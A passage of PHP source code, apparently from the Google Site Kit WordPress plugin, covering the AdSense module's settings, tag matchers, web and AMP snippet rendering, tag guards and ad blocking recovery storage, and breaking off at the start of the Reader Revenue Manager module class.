complete', 'google-site-kit' ); default: return __( 'Not set up', 'google-site-kit' ); } } /** * Resets the AdSense linked settings in the Analytics module. * * @since 1.120.0 */ protected function reset_analytics_adsense_linked_settings() { $analytics_settings = new Analytics_Settings( $this->options ); if ( ! $analytics_settings->has() ) { return; } $analytics_settings->merge( array( 'adSenseLinked' => false, 'adSenseLinkedLastSyncedAt' => 0, ) ); } /** * Resets the Ad Blocking Recovery notification. * * @since 1.121.0 */ public function reset_ad_blocking_recovery_notification() { $dismissed_prompts = ( new Dismissed_Prompts( $this->user_options ) ); $current_dismissals = $dismissed_prompts->get(); if ( isset( $current_dismissals['ad-blocking-recovery-notification'] ) && $current_dismissals['ad-blocking-recovery-notification']['count'] < 3 ) { $dismissed_prompts->remove( 'ad-blocking-recovery-notification' ); } } /** * Gets an array of internal feature metrics. * * @since 1.163.0 * * @return array */ public function get_feature_metrics() { return array( 'adsense_abr_status' => $this->is_connected() ? $this->get_settings()->get()['adBlockingRecoverySetupStatus'] : '', ); } } <?php /** * Class Google\Site_Kit\Core\Modules\AdSense\Tag_Matchers * * @package Google\Site_Kit\Core\Modules\AdSense * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Modules\AdSense; use Google\Site_Kit\Core\Modules\Tags\Module_Tag_Matchers; use Google\Site_Kit\Core\Tags\Tag_Matchers_Interface; /** * Class for Tag matchers. * * @since 1.119.0 * @access private * @ignore */ class Tag_Matchers extends Module_Tag_Matchers implements Tag_Matchers_Interface { /** * Holds array of regex tag matchers. * * @since 1.119.0 * * @return array Array of regex matchers. */ public function regex_matchers() { return array( // Detect google_ad_client. "/google_ad_client: ?[\"|'](.*?)[\"|']/", // Detect old style auto-ads tags. '/<(?:script|amp-auto-ads) [^>]*data-ad-client="([^"]+)"/', // Detect new style auto-ads tags. '/<(?:script|amp-auto-ads)[^>]*src="[^"]*\\?client=(ca-pub-[^"]+)"[^>]*>/', ); } } <?php /** * Class Google\Site_Kit\Modules\AdSense\Email_Reporting\Report_Options * * @package Google\Site_Kit\Modules\AdSense\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\AdSense\Email_Reporting; use Google\Site_Kit\Core\Email_Reporting\Report_Options\Report_Options as Base_Report_Options; /** * Builds AdSense-focused report option payloads for email reporting. * * This leverages Analytics 4 linked AdSense data (totalAdRevenue/adSourceName). * * @since 1.167.0 * @access private * @ignore */ class Report_Options extends Base_Report_Options { /** * Linked AdSense account ID. * * @since 1.167.0 * * @var string */ private $account_id; /** * Constructor. * * @since 1.167.0 * * @param array|null $date_range Current period range array. * @param array $compare_range Optional. Compare period range array. * @param string $account_id Optional. Connected AdSense account ID. Default empty. */ public function __construct( $date_range, $compare_range = array(), $account_id = '' ) { parent::__construct( $date_range, $compare_range ); $this->account_id = $account_id; } /** * Gets report options for total AdSense earnings. * * @since 1.167.0 * * @return array Report request options array. */ public function get_total_earnings_options() { $options = array( 'metrics' => array( array( 'name' => 'totalAdRevenue' ), ), ); $ad_source_filter = $this->get_ad_source_filter(); if ( $ad_source_filter ) { $options['dimensionFilters'] = array( 'adSourceName' => $ad_source_filter, ); } return $this->with_current_range( $options, true ); } /** * Builds the AdSense ad source filter value. * * @since 1.167.0 * * @return string Human-readable filter label referencing the linked AdSense account. */ private function get_ad_source_filter() { if ( empty( $this->account_id ) ) { return ''; } return sprintf( 'Google AdSense account (%s)', $this->account_id ); } } <?php /** * Class Google\Site_Kit\Modules\AdSense\Settings * * @package Google\Site_Kit\Modules\AdSense * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\AdSense; use Google\Site_Kit\Core\Modules\Module_Settings; use Google\Site_Kit\Core\Storage\Setting_With_Legacy_Keys_Trait; use Google\Site_Kit\Core\Storage\Setting_With_Owned_Keys_Interface; use Google\Site_Kit\Core\Storage\Setting_With_Owned_Keys_Trait; use Google\Site_Kit\Core\Storage\Setting_With_ViewOnly_Keys_Interface; /** * Class for AdSense settings. * * @since 1.2.0 * @access private * @ignore */ class Settings extends Module_Settings implements Setting_With_Owned_Keys_Interface, Setting_With_ViewOnly_Keys_Interface { use Setting_With_Legacy_Keys_Trait; use Setting_With_Owned_Keys_Trait; const OPTION = 'googlesitekit_adsense_settings'; /** * Various ad blocking recovery setup statuses. */ const AD_BLOCKING_RECOVERY_SETUP_STATUS_TAG_PLACED = 'tag-placed'; const AD_BLOCKING_RECOVERY_SETUP_STATUS_SETUP_CONFIRMED = 'setup-confirmed'; /** * Legacy account statuses to be migrated on-the-fly. * * @since 1.9.0 * @var array */ protected $legacy_account_statuses = array( 'account-connected' => array( 'accountStatus' => 'approved', 'siteStatus' => 'added', ), 'account-connected-nonmatching' => array( 'accountStatus' => 'approved', 'siteStatus' => 'added', ), 'account-connected-no-data' => array( 'accountStatus' => 'approved', 'siteStatus' => 'added', ), 'account-pending-review' => array( 'accountStatus' => 'approved', 'siteStatus' => 'none', ), 'account-required-action' => array( 'accountStatus' => 'no-client', ), 'disapproved-account-afc' => array( 'accountStatus' => 'no-client', ), 'ads-display-pending' => array( 'accountStatus' => 'pending', ), 'disapproved-account' => array( 'accountStatus' => 'disapproved', ), 'no-account' => array( 'accountStatus' => 'none', ), 'no-account-tag-found' => array( 'accountStatus' => 'none', ), ); /** * Registers the setting in WordPress. * * @since 1.2.0 */ public function register() { parent::register(); $this->register_legacy_keys_migration( array( 'account_id' => 'accountID', 'accountId' => 'accountID', 'account_status' => 'accountStatus', 'adsenseTagEnabled' => 'useSnippet', 'client_id' => 'clientID', 'clientId' => 'clientID', 'setup_complete' => 'setupComplete', ) ); $this->register_owned_keys(); add_filter( 'option_' . self::OPTION, function ( $option ) { /** * Filters the AdSense account ID to use. * * @since 1.0.0 * * @param string $account_id Empty by default, will fall back to the option value if not set. */ $account_id = apply_filters( 'googlesitekit_adsense_account_id', '' ); if ( $account_id ) { $option['accountID'] = $account_id; } // Migrate legacy account statuses (now split into account status and site status). if ( ! empty( $option['accountStatus'] ) && isset( $this->legacy_account_statuses[ $option['accountStatus'] ] ) ) { foreach ( $this->legacy_account_statuses[ $option['accountStatus'] ] as $key => $value ) { $option[ $key ] = $value; } } // Migration of legacy setting. if ( ! empty( $option['setupComplete'] ) ) { $option['accountSetupComplete'] = $option['setupComplete']; $option['siteSetupComplete'] = $option['setupComplete']; } unset( $option['setupComplete'] ); return $option; } ); add_filter( 'pre_update_option_' . self::OPTION, function ( $value, $old_value ) { if ( isset( $old_value['setupCompletedTimestamp'] ) ) { return $value; } if ( ! empty( $old_value['accountStatus'] ) && ! empty( $old_value['siteStatus'] ) && 'ready' === $old_value['accountStatus'] && 'ready' === $old_value['siteStatus'] ) { $value['setupCompletedTimestamp'] = strtotime( '-1 month' ); } elseif ( ! empty( $value['accountStatus'] ) && ! empty( $value['siteStatus'] ) && 'ready' === $value['accountStatus'] && 'ready' === $value['siteStatus'] ) { $value['setupCompletedTimestamp'] = time(); } return $value; }, 10, 2 ); } /** * Returns keys for owned settings. * * @since 1.16.0 * * @return array An array of keys for owned settings. */ public function get_owned_keys() { return array( 'accountID', 'clientID', ); } /** * Returns keys for view-only settings. * * @since 1.122.0 * * @return array An array of keys for view-only settings. */ public function get_view_only_keys() { return array( 'accountID' ); } /** * Gets the default value. * * @since 1.2.0 * @since 1.102.0 Added settings for the Ad Blocking Recovery feature. * * @return array */ protected function get_default() { return array( 'ownerID' => 0, 'accountID' => '', 'autoAdsDisabled' => array(), 'clientID' => '', 'accountStatus' => '', 'siteStatus' => '', 'accountSetupComplete' => false, 'siteSetupComplete' => false, 'useSnippet' => true, 'webStoriesAdUnit' => '', 'setupCompletedTimestamp' => null, 'useAdBlockingRecoverySnippet' => false, 'useAdBlockingRecoveryErrorSnippet' => false, 'adBlockingRecoverySetupStatus' => '', ); } /** * Gets the callback for sanitizing the setting's value before saving. * * @since 1.6.0 * * @return callable|null */ protected function get_sanitize_callback() { return function ( $option ) { if ( is_array( $option ) ) { if ( isset( $option['accountSetupComplete'] ) ) { $option['accountSetupComplete'] = (bool) $option['accountSetupComplete']; } if ( isset( $option['siteStatusComplete'] ) ) { $option['siteStatusComplete'] = (bool) $option['siteStatusComplete']; } if ( isset( $option['useSnippet'] ) ) { $option['useSnippet'] = (bool) $option['useSnippet']; } if ( isset( $option['autoAdsDisabled'] ) ) { $option['autoAdsDisabled'] = (array) $option['autoAdsDisabled']; } if ( isset( $option['useAdBlockingRecoverySnippet'] ) ) { $option['useAdBlockingRecoverySnippet'] = (bool) $option['useAdBlockingRecoverySnippet']; } if ( isset( $option['useAdBlockingRecoveryErrorSnippet'] ) ) { $option['useAdBlockingRecoveryErrorSnippet'] = (bool) $option['useAdBlockingRecoveryErrorSnippet']; } if ( isset( $option['adBlockingRecoverySetupStatus'] ) && ! in_array( $option['adBlockingRecoverySetupStatus'], array( '', self::AD_BLOCKING_RECOVERY_SETUP_STATUS_TAG_PLACED, self::AD_BLOCKING_RECOVERY_SETUP_STATUS_SETUP_CONFIRMED, ), true ) ) { $option['adBlockingRecoverySetupStatus'] = $this->get()['adBlockingRecoverySetupStatus']; } } return $option; }; } } <?php /** * Class Google\Site_Kit\Modules\AdSense\Web_Tag * * @package Google\Site_Kit\Modules\AdSense * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\AdSense; use Google\Site_Kit\Core\Modules\Tags\Module_Web_Tag; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; use Google\Site_Kit\Core\Tags\Tag_With_DNS_Prefetch_Trait; use Google\Site_Kit\Core\Util\BC_Functions; /** * Class for Web tag. * * @since 1.24.0 * @access private * @ignore */ class Web_Tag extends Module_Web_Tag { use Method_Proxy_Trait; use Tag_With_DNS_Prefetch_Trait; /** * Registers tag hooks. * * @since 1.24.0 */ public function register() { add_action( 'wp_head', $this->get_method_proxy_once( 'render' ) ); add_filter( 'wp_resource_hints', $this->get_dns_prefetch_hints_callback( '//pagead2.googlesyndication.com' ), 10, 2 ); $this->do_init_tag_action(); } /** * Outputs the AdSense script tag. * * @since 1.24.0 */ protected function render() { // If we haven't completed the account connection yet, we still insert the AdSense tag // because it is required for account verification. $adsense_script_src = sprintf( 'https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=%s&host=%s', esc_attr( $this->tag_id ), // Site owner's web property code. 'ca-host-pub-2644536267352236' // SiteKit's web property code. ); $adsense_script_attributes = array( 'async' => true, 'src' => $adsense_script_src, 'crossorigin' => 'anonymous', ); $adsense_attributes = $this->get_tag_blocked_on_consent_attribute_array(); $auto_ads_opt = array(); $auto_ads_opt_filtered = apply_filters( 'googlesitekit_auto_ads_opt', $auto_ads_opt, $this->tag_id ); if ( is_array( $auto_ads_opt_filtered ) && ! empty( $auto_ads_opt_filtered ) ) { $strip_attributes = array( 'google_ad_client' => '', 'enable_page_level_ads' => '', ); $auto_ads_opt_filtered = array_diff_key( $auto_ads_opt_filtered, $strip_attributes ); $auto_ads_opt_sanitized = array(); foreach ( $auto_ads_opt_filtered as $key => $value ) { $new_key = 'data-'; $new_key .= str_replace( '_', '-', $key ); $auto_ads_opt_sanitized[ $new_key ] = $value; } $adsense_attributes = array_merge( $adsense_attributes, $auto_ads_opt_sanitized ); } printf( "\n<!-- %s -->\n", esc_html__( 'Google AdSense snippet added by Site Kit', 'google-site-kit' ) ); BC_Functions::wp_print_script_tag( array_merge( $adsense_script_attributes, $adsense_attributes ) ); printf( "\n<!-- %s -->\n", esc_html__( 'End Google AdSense snippet added by Site Kit', 'google-site-kit' ) ); } } <?php /** * Class Google\Site_Kit\Modules\AdSense\Ad_Blocking_Recovery_Web_Tag * * @package Google\Site_Kit\Modules\AdSense * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\AdSense; use Google\Site_Kit\Core\Tags\Tag; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; use Google\Site_Kit\Core\Tags\Tag_With_DNS_Prefetch_Trait; /** * Class for Ad Blocking Recovery tag. * * @since 1.105.0 * @access private * @ignore */ class Ad_Blocking_Recovery_Web_Tag extends Tag { use Method_Proxy_Trait; use Tag_With_DNS_Prefetch_Trait; /** * Ad_Blocking_Recovery_Tag instance. * * @since 1.105.0 * @var Ad_Blocking_Recovery_Tag */ protected $ad_blocking_recovery_tag; /** * Use Error Protection Snippet. * * @since 1.105.0 * @var bool */ protected $use_error_protection_snippet; /** * Constructor. * * @since 1.105.0 * * @param Ad_Blocking_Recovery_Tag $ad_blocking_recovery_tag Ad_Blocking_Recovery_Tag instance. * @param bool $use_error_protection_snippet Use Error Protection Snippet. */ public function __construct( Ad_Blocking_Recovery_Tag $ad_blocking_recovery_tag, $use_error_protection_snippet ) { $this->ad_blocking_recovery_tag = $ad_blocking_recovery_tag; $this->use_error_protection_snippet = $use_error_protection_snippet; } /** * Registers tag hooks. * * @since 1.105.0 */ public function register() { add_action( 'wp_head', $this->get_method_proxy_once( 'render' ) ); add_filter( 'wp_resource_hints', $this->get_dns_prefetch_hints_callback( '//fundingchoicesmessages.google.com' ), 10, 2 ); } /** * Outputs the AdSense script tag. * * @since 1.105.0 */ protected function render() { $tags = $this->ad_blocking_recovery_tag->get(); if ( empty( $tags['tag'] ) || empty( $tags['error_protection_code'] ) ) { return; } printf( "\n<!-- %s -->\n", esc_html__( 'Google AdSense Ad Blocking Recovery snippet added by Site Kit', 'google-site-kit' ) ); echo $tags['tag']; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped printf( "\n<!-- %s -->\n", esc_html__( 'End Google AdSense Ad Blocking Recovery snippet added by Site Kit', 'google-site-kit' ) ); if ( $this->use_error_protection_snippet ) { printf( "\n<!-- %s -->\n", esc_html__( 'Google AdSense Ad Blocking Recovery Error Protection snippet added by Site Kit', 'google-site-kit' ) ); echo $tags['error_protection_code']; // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped printf( "\n<!-- %s -->\n", esc_html__( 'End Google AdSense Ad Blocking Recovery Error Protection snippet added by Site Kit', 'google-site-kit' ) ); } } } <?php /** * Class Google\Site_Kit\Modules\AdSense\Auto_Ad_Guard * * @package Google\Site_Kit\Modules\Analytics * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\AdSense; use Google\Site_Kit\Core\Modules\Tags\Module_Tag_Guard; /** * Tag guard class for the AdSense module that blocks the tag placement if it is disabled for a certain user group. * * @since 1.39.0 * @access private * @ignore */ class Auto_Ad_Guard extends Module_Tag_Guard { /** * Determines whether the guarded tag can be activated or not. * * @since 1.39.0 * * @return bool TRUE if guarded tag can be activated, otherwise FALSE. */ public function can_activate() { $settings = $this->settings->get(); if ( ! isset( $settings['autoAdsDisabled'] ) ) { return true; } if ( ( in_array( 'loggedinUsers', $settings['autoAdsDisabled'], true ) && is_user_logged_in() ) || ( in_array( 'contentCreators', $settings['autoAdsDisabled'], true ) && current_user_can( 'edit_posts' ) ) ) { return false; } return true; } } <?php /** * Class Google\Site_Kit\Modules\AdSense\Ad_Blocking_Recovery_Tag * * @package Google\Site_Kit\Modules\AdSense * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\AdSense; use Google\Site_Kit\Core\Storage\Setting; /** * Class for AdSense Ad blocking recovery Tag. * * @since 1.104.0 * @access private * @ignore */ class Ad_Blocking_Recovery_Tag extends Setting { const OPTION = 'googlesitekit_adsense_ad_blocking_recovery_tag'; /** * Gets ad blocking recovery tag. * * @since 1.104.0 * * @return array Array with tag and error protection code. */ public function get() { $option = parent::get(); if ( ! $this->is_valid_tag_object( $option ) ) { return $this->get_default(); } return $option; } /** * Sets ad blocking recovery tag. * * @since 1.104.0 * * @param array $value Array with tag and error protection code. * * @return bool True on success, false on failure. */ public function set( $value ) { if ( ! $this->is_valid_tag_object( $value ) ) { return false; } return parent::set( $value ); } /** * Gets the expected value type. * * @since 1.104.0 * * @return string The type name. */ protected function get_type() { return 'object'; } /** * Gets the default value. * * @since 1.104.0 * * @return array */ protected function get_default() { return array( 'tag' => '', 'error_protection_code' => '', ); } /** * Determines whether the given value is a valid tag object. * * @since 1.104.0 * * @param mixed $tag Tag object. * * @return bool TRUE if valid, otherwise FALSE. */ private function is_valid_tag_object( $tag ) { return is_array( $tag ) && isset( $tag['tag'] ) && isset( $tag['error_protection_code'] ) && is_string( $tag['tag'] ) && is_string( $tag['error_protection_code'] ); } } <?php /** * Class Google\Site_Kit\Modules\AdSense\Ad_Blocking_Recovery_Tag_Guard * * @package Google\Site_Kit\Modules\AdSense * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\AdSense; use Google\Site_Kit\Core\Modules\Tags\Module_Tag_Guard; /** * Class for the AdSense Ad Blocking Recovery tag guard. * * @since 1.105.0 * @access private * @ignore */ class Ad_Blocking_Recovery_Tag_Guard extends Module_Tag_Guard { /** * Determines whether the guarded tag can be activated or not. * * @since 1.105.0 * * @return bool TRUE if guarded tag can be activated, otherwise FALSE or an error. */ public function can_activate() { $settings = $this->settings->get(); return ! empty( $settings['adBlockingRecoverySetupStatus'] ) && $settings['useAdBlockingRecoverySnippet']; } } <?php /** * Class Google\Site_Kit\Modules\AdSense\Tag_Guard * * @package Google\Site_Kit\Modules\AdSense * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\AdSense; use Google\Site_Kit\Core\Modules\Tags\Module_Tag_Guard; /** * Class for the AdSense tag guard. * * @since 1.24.0 * @access private * @ignore */ class Tag_Guard extends Module_Tag_Guard { /** * Determines whether the guarded tag can be activated or not. * * @since 1.24.0 * @since 1.30.0 Update to return FALSE on 404 pages deliberately. * @since 1.105.0 Extract the check for 404 pages to dedicated Guard. * * @return bool|WP_Error TRUE if guarded tag can be activated, otherwise FALSE or an error. */ public function can_activate() { $settings = $this->settings->get(); // For web stories, the tag must only be rendered if a story-specific ad unit is provided. if ( is_singular( 'web-story' ) && empty( $settings['webStoriesAdUnit'] ) ) { return false; } return ! empty( $settings['useSnippet'] ) && ! empty( $settings['clientID'] ); } } <?php /** * Class Google\Site_Kit\Modules\AdSense\AMP_Tag * * @package Google\Site_Kit\Modules\AdSense * @copyright 2021 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\AdSense; use Google\Site_Kit\Core\Modules\Tags\Module_AMP_Tag; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; /** * Class for AMP tag. * * @since 1.24.0 * @access private * @ignore */ class AMP_Tag extends Module_AMP_Tag { use Method_Proxy_Trait; /** * Internal flag for whether the AdSense tag has been printed. * * @since 1.24.0 * @var bool */ private $adsense_tag_printed = false; /** * Web Story Ad Slot ID. * * @since 1.27.0 * @var string */ private $story_ad_slot_id = ''; /** * Registers tag hooks. * * @since 1.24.0 */ public function register() { if ( is_singular( 'web-story' ) ) { // If Web Stories are enabled, render the auto ads code. add_action( 'web_stories_print_analytics', $this->get_method_proxy( 'render_story_auto_ads' ) ); } else { // For AMP Native and Transitional (if `wp_body_open` supported). add_action( 'wp_body_open', $this->get_method_proxy( 'render' ), -9999 ); // For AMP Native and Transitional (as fallback). add_filter( 'the_content', $this->get_method_proxy( 'amp_content_add_auto_ads' ) ); // For AMP Reader (if `amp_post_template_body_open` supported). add_action( 'amp_post_template_body_open', $this->get_method_proxy( 'render' ), -9999 ); // For AMP Reader (as fallback). add_action( 'amp_post_template_footer', $this->get_method_proxy( 'render' ), -9999 ); // Load amp-auto-ads component for AMP Reader. $this->enqueue_amp_reader_component_script( 'amp-auto-ads', 'https://cdn.ampproject.org/v0/amp-auto-ads-0.1.js' ); } $this->do_init_tag_action(); } /** * Gets the attributes for amp-story-auto-ads and amp-auto-ads tags. * * @since 1.39.0 * * @param string $type Whether it's for web stories. Can be `web-story` or ``. * @return array Filtered $options. */ private function get_auto_ads_attributes( $type = '' ) { $options = array( 'ad-client' => $this->tag_id, ); if ( 'web-story' === $type && ! empty( $this->story_ad_slot_id ) ) { $options['ad-slot'] = $this->story_ad_slot_id; } $filtered_options = 'web-story' === $type ? apply_filters( 'googlesitekit_amp_story_auto_ads_attributes', $options, $this->tag_id, $this->story_ad_slot_id ) : apply_filters( 'googlesitekit_amp_auto_ads_attributes', $options, $this->tag_id, $this->story_ad_slot_id ); if ( is_array( $filtered_options ) && ! empty( $filtered_options ) ) { $options = $filtered_options; $options['ad-client'] = $this->tag_id; } return $options; } /** * Outputs the <amp-auto-ads> tag. * * @since 1.24.0 */ protected function render() { if ( $this->adsense_tag_printed ) { return; } $this->adsense_tag_printed = true; $attributes = ''; foreach ( $this->get_auto_ads_attributes() as $amp_auto_ads_opt_key => $amp_auto_ads_opt_value ) { $attributes .= sprintf( ' data-%s="%s"', esc_attr( $amp_auto_ads_opt_key ), esc_attr( $amp_auto_ads_opt_value ) ); } printf( "\n<!-- %s -->\n", esc_html__( 'Google AdSense AMP snippet added by Site Kit', 'google-site-kit' ) ); printf( '<amp-auto-ads type="adsense" %s%s></amp-auto-ads>', $attributes, // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped $this->get_tag_blocked_on_consent_attribute() // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped ); printf( "\n<!-- %s -->\n", esc_html__( 'End Google AdSense AMP snippet added by Site Kit', 'google-site-kit' ) ); } /** * Adds the AMP auto ads tag if opted in. * * @since 1.24.0 * * @param string $content The page content. * @return string Filtered $content. */ private function amp_content_add_auto_ads( $content ) { // Only run for the primary application of the `the_content` filter. if ( $this->adsense_tag_printed || ! in_the_loop() ) { return $content; } $this->adsense_tag_printed = true; $snippet_comment_begin = sprintf( "\n<!-- %s -->\n", esc_html__( 'Google AdSense AMP snippet added by Site Kit', 'google-site-kit' ) ); $snippet_comment_end = sprintf( "\n<!-- %s -->\n", esc_html__( 'End Google AdSense AMP snippet added by Site Kit', 'google-site-kit' ) ); $tag = sprintf( '<amp-auto-ads type="adsense" data-ad-client="%s"%s></amp-auto-ads>', esc_attr( $this->tag_id ), $this->get_tag_blocked_on_consent_attribute() ); return $snippet_comment_begin . $tag . $snippet_comment_end . $content; } /** * Set Web Story Ad Slot ID * * @since 1.27.0 * * @param string $ad_slot_id The Ad Slot ID. */ public function set_story_ad_slot_id( $ad_slot_id ) { $this->story_ad_slot_id = $ad_slot_id; } /** * Adds the AMP Web Story auto ads code if enabled. * * @since 1.27.0 */ private function render_story_auto_ads() { $config = array( 'ad-attributes' => array( 'type' => 'adsense', ), ); $attributes = array(); foreach ( $this->get_auto_ads_attributes( 'web-story' ) as $key => $value ) { $attributes[ 'data-' . $key ] = $value; } $config['ad-attributes'] = array_merge( $config['ad-attributes'], $attributes ); printf( "\n<!-- %s -->\n", esc_html__( 'Google AdSense AMP snippet added by Site Kit', 'google-site-kit' ) ); printf( '<amp-story-auto-ads><script type="application/json">%s</script></amp-story-auto-ads>', wp_json_encode( $config ) ); printf( "\n<!-- %s -->\n", esc_html__( 'End Google AdSense AMP snippet added by Site Kit', 'google-site-kit' ) ); } } <?php /** * Class Google\Site_Kit\Modules\Reader_Revenue_Manager * * @package Google\Site_Kit * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules; use Exception; use Google\Site_Kit\Context; use Google\Site_Kit\Core\Assets\Asset; use Google\Site_Kit\Core\Assets\Assets; use Google\Site_Kit\Core\Assets\Script; use Google\Site_Kit\Core\Assets\Stylesheet; use Google\Site_Kit\Core\Authentication\Authentication; use Google\Site_Kit\Core\Authentication\Clients\Google_Site_Kit_Client; use Google\Site_Kit\Core\Dismissals\Dismissed_Items; use Google\Site_Kit\Core\Modules\Module; use Google\Site_Kit\Core\Modules\Module_With_Assets; use Google\Site_Kit\Core\Modules\Module_With_Assets_Trait; use Google\Site_Kit\Core\Modules\Module_With_Deactivation; use Google\Site_Kit\Core\Modules\Module_With_Debug_Fields; use Google\Site_Kit\Core\Modules\Module_With_Owner; use Google\Site_Kit\Core\Modules\Module_With_Owner_Trait; use Google\Site_Kit\Core\Modules\Module_With_Scopes; use Google\Site_Kit\Core\Modules\Module_With_Scopes_Trait; use Google\Site_Kit\Core\Modules\Module_With_Service_Entity; use Google\Site_Kit\Core\Modules\Module_With_Settings; use Google\Site_Kit\Core\Modules\Module_With_Settings_Trait; use Google\Site_Kit\Core\Modules\Module_With_Tag; use Google\Site_Kit\Core\Modules\Module_With_Tag_Trait; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\REST_API\Data_Request; use Google\Site_Kit\Core\REST_API\Exception\Missing_Required_Param_Exception; use Google\Site_Kit\Core\Site_Health\Debug_Data; use Google\Site_Kit\Core\Storage\Options; use Google\Site_Kit\Core\Storage\Post_Meta; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Core\Tags\Guards\Tag_Environment_Type_Guard; use Google\Site_Kit\Core\Tags\Guards\Tag_Verify_Guard; use Google\Site_Kit\Core\Tracking\Feature_Metrics_Trait; use Google\Site_Kit\Core\Tracking\Provides_Feature_Metrics; use Google\Site_Kit\Core\Util\Block_Support; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; use Google\Site_Kit\Core\Util\URL; use Google\Site_Kit\Modules\Reader_Revenue_Manager\Admin_Post_List; use Google\Site_Kit\Modules\Reader_Revenue_Manager\Contribute_With_Google_Block; use Google\Site_Kit\Modules\Reader_Revenue_Manager\Subscribe_With_Google_Block; use Google\Site_Kit\Modules\Reader_Revenue_Manager\Post_Product_ID; use Google\Site_Kit\Modules\Reader_Revenue_Manager\Settings; use Google\Site_Kit\Modules\Reader_Revenue_Manager\Synchronize_Publication; use Google\Site_Kit\Modules\Reader_Revenue_Manager\Tag_Guard; use Google\Site_Kit\Modules\Reader_Revenue_Manager\Tag_Matchers; use Google\Site_Kit\Modules\Reader_Revenue_Manager\Web_Tag; use Google\Site_Kit\Modules\Search_Console\Settings as Search_Console_Settings; use Google\Site_Kit_Dependencies\Google\Service\SubscribewithGoogle as Google_Service_SubscribewithGoogle; use WP_Error; /** * Class representing the Reader Revenue Manager module. * * @since 1.130.0 * @access private * @ignore */ final class Reader_Revenue_Manager extends Module implements Module_With_Scopes, Module_With_Assets, Module_With_Service_Entity, Module_With_Deactivation, Module_With_Owner, Module_With_Settings, Module_With_Tag, Module_With_Debug_Fields, Provides_Feature_Metrics { use Module_With_Assets_Trait; use Module_With_Owner_Trait; use Module_With_Scopes_Trait; use Module_With_Settings_Trait; use Module_With_Tag_Trait; use Method_Proxy_Trait; use Feature_Metrics_Trait; /** * Module slug name. */ const MODULE_SLUG = 'reader-revenue-manager'; /** * Post_Product_ID instance. * * @since 1.148.0 * * @var Post_Product_ID */ private $post_product_id; /** * Contribute_With_Google_Block instance. * * @since 1.148.0 * * @var Contribute_With_Google_Block */ private $contribute_with_google_block; /** * Subscribe_With_Google_Block instance. * * @since 1.148.0 * * @var Subscribe_With_Google_Block */ private $subscribe_with_google_block; /** * Tag_Guard instance. * * @since 1.148.0 * * @var Tag_Guard */ private $tag_guard; const PRODUCT_ID_NOTIFICATIONS = array( 'rrm-product-id-contributions-notification', 'rrm-product-id-subscriptions-notification', ); /** * Constructor. * * @since 1.148.0 * * @param Context $context Plugin context. * @param Options $options Optional. Option API instance. Default is a new instance. * @param User_Options $user_options Optional. User Option API instance. Default is a new instance. * @param Authentication $authentication Optional. Authentication instance. Default is a new instance. * @param Assets $assets Optional. Assets API instance. Default is a new instance. */ public function __construct( Context $context, ?Options $options = null, ?User_Options $user_options = null, ?Authentication $authentication = null, ?Assets $assets = null ) { parent::__construct( $context, $options, $user_options, $authentication, $assets ); $post_meta = new Post_Meta(); $settings = $this->get_settings(); $this->post_product_id = new Post_Product_ID( $post_meta, $settings ); $this->tag_guard = new Tag_Guard( $settings, $this->post_product_id ); $this->contribute_with_google_block = new Contribute_With_Google_Block( $this->context, $this->tag_guard, $settings ); $this->subscribe_with_google_block = new Subscribe_With_Google_Block( $this->context, $this->tag_guard, $settings ); } /** * Registers functionality through WordPress hooks. * * @since 1.130.0 */ public function register() { $this->register_scopes_hook(); $this->register_feature_metrics(); $synchronize_publication = new Synchronize_Publication( $this, $this->user_options ); $synchronize_publication->register(); if ( $this->is_connected() ) { $this->post_product_id->register(); $admin_post_list = new Admin_Post_List( $this->get_settings(), $this->post_product_id ); $admin_post_list->register(); if ( Block_Support::has_block_support() ) { $this->contribute_with_google_block->register(); $this->subscribe_with_google_block->register(); add_action( 'enqueue_block_assets', $this->get_method_proxy( 'enqueue_block_assets_for_non_sitekit_user' ), 40 ); add_action( 'enqueue_block_editor_assets', $this->get_method_proxy( 'enqueue_block_editor_assets_for_non_sitekit_user' ), 40 ); } } add_action( 'load-toplevel_page_googlesitekit-dashboard', array( $synchronize_publication, 'maybe_schedule_synchronize_publication' ) ); add_action( 'load-toplevel_page_googlesitekit-settings', array( 